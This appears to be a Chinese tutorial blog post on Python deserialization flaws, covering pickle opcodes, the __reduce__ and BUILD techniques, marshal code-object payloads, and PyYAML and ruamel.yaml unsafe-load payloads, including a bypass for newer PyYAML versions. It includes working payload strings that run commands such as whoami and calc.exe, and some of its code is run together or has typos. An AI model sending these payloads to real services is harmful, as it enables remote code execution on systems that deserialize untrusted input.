Python反序列化的示例分析
这篇文章给大家分享的是有关Python反序列化的示例分析的内容。小编觉得挺实用的，因此分享给大家做个参考，一起跟随小编过来看看吧。
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Python反序列化漏洞
Pickle
序列化：
pickle.dumps()将对象序列化为字符串、pickle.dump()将对象序列化后的字符串存储为文件反序列化：
pickle.loads()将字符串反序列化为对象、pickle.load()从文件中读取数据反序列化
使用
dumps()与loads()时可以使用protocol参数指定协议版本协议有0，1，2，3，4，5号版本，不同的 python 版本默认的协议版本不同。这些版本中，0号是最可读的，之后的版本为了优化加入了不可打印字符
协议是向下兼容的，0号版本也可以直接使用
可序列化的对象
None、True和False整数、浮点数、复数
str、byte、bytearray
只包含可封存对象的集合，包括 tuple、list、set 和 dict
定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）
定义在模块最外层的内置函数
定义在模块最外层的类
__dict__属性值或__getstate__()函数的返回值可以被序列化的类（详见官方文档的Pickling Class Instances）
反序列化流程
pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化
在反序列化过程中，_Unpickler（以下称为机器吧）维护了两个东西：栈区和存储区
为了研究它，需要利用一个调试器 pickletools
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUDq6S9E-1642832623478)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220121114238511.png)]
从图中可以看出，序列化后的字符串实际上是一串 PVM(Pickle Virtual Machine) 指令码，指令码以栈的形式存储、解析
PVM指令集
完整PVM指令集可以在 pickletools.py 中查看，不同协议版本使用的指令集略有不同
上图中的指令码可以翻译成：
0: \x80 PROTO 3 # 协议版本 2: ] EMPTY_LIST # 将空列表推入栈 3: ( MARK # 将标志推入栈 4: X BINUNICODE 'a' # unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) # 将3号标准之后的数据推入列表 23: . STOP # 弹出栈中数据，结束 highest protocol among opcodes = 2
指令集中有几个重要的指令码：
GLOBAL = b’c’ # 将两个以换行为结尾的字符串推入栈，第一个是模块名，第二个是类名，即可以调用全局变量
xxx.xxx的值REDUCE = b’R’ # 将可调用元组和参数元组生成的对象推进栈，即
__reduce()返回的第一个值作为可执行函数，第二个值为参数，执行函数BUILD = b’b’ # 通过
__setstate__或更新__dict__完成构建对象，如果对象具有__setstate__方法，则调用anyobject .__setstate__(参数)；如果无__setstate__方法，则通过anyobject.__dict__.update(argument)更新值(更新可能会产生变量覆盖)STOP = b’.’ # 结束
一个更复杂的例子：
import pickleimport pickletoolsclass a_class(): def __init__(self): self.age = 24 self.status = 'student' self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
0: \x80 PROTO 3 2: c GLOBAL '__main__ a_class' 20: ) EMPTY_TUPLE # 将空元组推入栈 21: \x81 NEWOBJ # 表示前面的栈的内容为一个类(__main__ a_class)，之后为一个元组(20行推入的元组)，调用cls.__new__(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空） 22: } EMPTY_DICT # 将空字典推入栈 23: ( MARK 24: X BINUNICODE 'age' 32: K BININT1 24 34: X BINUNICODE 'status' 45: X BINUNICODE 'student' 57: X BINUNICODE 'list' 66: ] EMPTY_LIST 67: ( MARK 68: X BINUNICODE 'a' 74: X BINUNICODE 'b' 80: X BINUNICODE 'c' 86: e APPENDS (MARK at 67) 87: u SETITEMS (MARK at 23) # 将将从23行开始传入的值以键值对添加到现有字典中 88: b BUILD # 更新字典完成构建 89: . STOP highest protocol among opcodes = 2
常见的函数执行
与函数执行相关的 PVM 指令集有三个： R 、 i 、 o ，所以我们可以从三个方向进行构造：
R ：
b'''cos system (S'whoami' tR.'''
i ：
b'''(S'whoami' ios system .'''
o ：
b'''(cos system S'whoami' o.'''
__reduce()__命令执行
__recude()__ 魔法函数会在反序列化过程结束时自动调用，并返回一个元组。其中，第一个元素是一个可调用对象，在创建该对象的最初版本时调用，第二个元素是可调用对象的参数，使得反序列化时可能造成RCE漏洞
触发
__reduce()_的指令码为``R，**只要在序列化中的字符串中存在R指令**，reduce方法就会被执行，无论正常程序中是否写明了reduce`方法pickle 在反序列化时会自动 import 未引入的模块，所以 python 标准库中的所有代码执行、命令执行函数都可使用，但生成
payload的 python 版本最好与目标一致
例：
class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组，元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_利用的是 R 指令码，造成REC，而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')在不知道 secret.a 的情况下要如何获得 flag 呢？
先尝试获得 flag() 的序列化字符串：
class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
可以看到，在34行进行了传参，将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a，即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后，self.a 的值等于 secret.a 的值，成功获取 flag
除了改写 PVM 指令的方式外，还可以使用 exec 函数造成变量覆盖：
test1 = 'test1'test2 = 'test2'class A: def __reduce(self): retutn exec, "test1='asd'\ntest2='qwe'"
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合，可以把现有类改写为os.system或其他函数
假设某个类原先没有__setstate__方法，我们可以利用{'__setstate__': os.system}来BUILE这个对象
BUILD指令执行时，因为没有__setstate__方法，所以就执行update，这个对象的__setstate__方法就改为了我们指定的os.system
接下来利用'whoami'来再次BUILD这个对象，则会执行setstate('whoami')，而此时__setstate__已经被我们设置为os.system，因此实现了RCE
例:
代码中存在一个任意类：
class payload: def __init__(self): pass
根据这个类构造 PVM 指令：
0: \x80 PROTO 3 2: c GLOBAL '__main__ payload' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT # 使用BUILD，先放入一个字典 22: ( MARK # 放值前先放一个标志 23: V UNICODE '__setstate__' # 放键值对 37: c GLOBAL 'nt system' 48: u SETITEMS (MARK at 22) 49: b BUILD # 第一次BUILD 50: V UNICODE 'whoami' # 加参数 58: b BUILD # 第二次BUILD 59: . STOP
将上述 PVM 指令改写成 bytes 形式：b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'，使用 piclke.loads() 反序列化后成功执行命令
利用Marshal模块造成任意函数执行
pickle 不能将代码对象序列化，但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_ 调用，因为__reduce__是利用调用某个可调用对象并传递参数来执行的，而我们这个函数本身就是一个可调用对象 ，我们需要执行它，而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数
import marshalimport typesdef code():
import os print('hello')
os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行在 pickle 上使用：
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s) # 字符串转换为 bytes
漏洞出现位置
解析认证 token、session 时
将对象 pickle 后存储在磁盘文件
将对象 pickle 后在网络中传输
参数传递给程序
PyYAML
yaml 是一种标记类语言，类似与 xml 和 json，各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存)，PyYAML 就是 yaml 的 python 实现
在使用 PyYAML 库时，若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件，则会导致反序列化漏洞的产生
原理
PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表，其中有三个和对象相关：
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如：
# Test.pyimport yamlimport osclass test:
def __init__(self):
os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()该代码执行后，会生成 sample.yml ，并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件：
import yaml
yaml.load(file('sample.yml', 'w'))
命令成功执行。但是命令的执行依赖于 Test.py 的存在，因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象（类）。如果删除 Test.py ，也将运行失败
Payload
PyYAML < 5.1
想要消除依赖执行命令，就需要将其中的类或者函数换成 python 标准库中的类或函数，并使用另外两种 python 标签：
# 该标签可以在 PyYAML 解析再入 YAML 数据时，动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
利用这两个标签，就可以构造任意 payload：
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML >= 5.1
在版本 PyYAML >= 5.1 后，限制了反序列化内置类方法以及导入并使用不存在的反序列化代码，并且在使用 load() 方法时，需要加上 loader 参数，直接使用时会爆出安全警告
loader的四种类型：
BaseLoader：仅加载最基本的YAML
SafeLoader：安全地加载YAML语言的子集，建议用于加载不受信任的输入(safe_load）
FullLoader：加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)（full_load）
UnsafeLoader(也称为Loader向后兼容性）：原始的Loader代码，可以通过不受信任的数据输入轻松利用（unsafe_load）
在高版本中之前的 payload 已经失效，但可以使用 subporcess.getoutput() 方法绕过检测：
!!python/object/apply:subprocess.getoutput - whoami
在最新版本上，命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样，并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法，有以下方法：
load(data)
load(data, Loader=Loader)
load(data, Loader=UnsafeLoader)
load(data, Loader=FullLoader)
load_all(data)
load_all(data, Loader=Loader)
load_all(data, Loader=UnSafeLoader)
load_all(data, Loader=FullLoader)
我们可以使用上述任何方法，甚至我们也可以通过提供数据来反序列化来直接调用load()，它将完美地反序列化它，并且我们的类方法将被执行。
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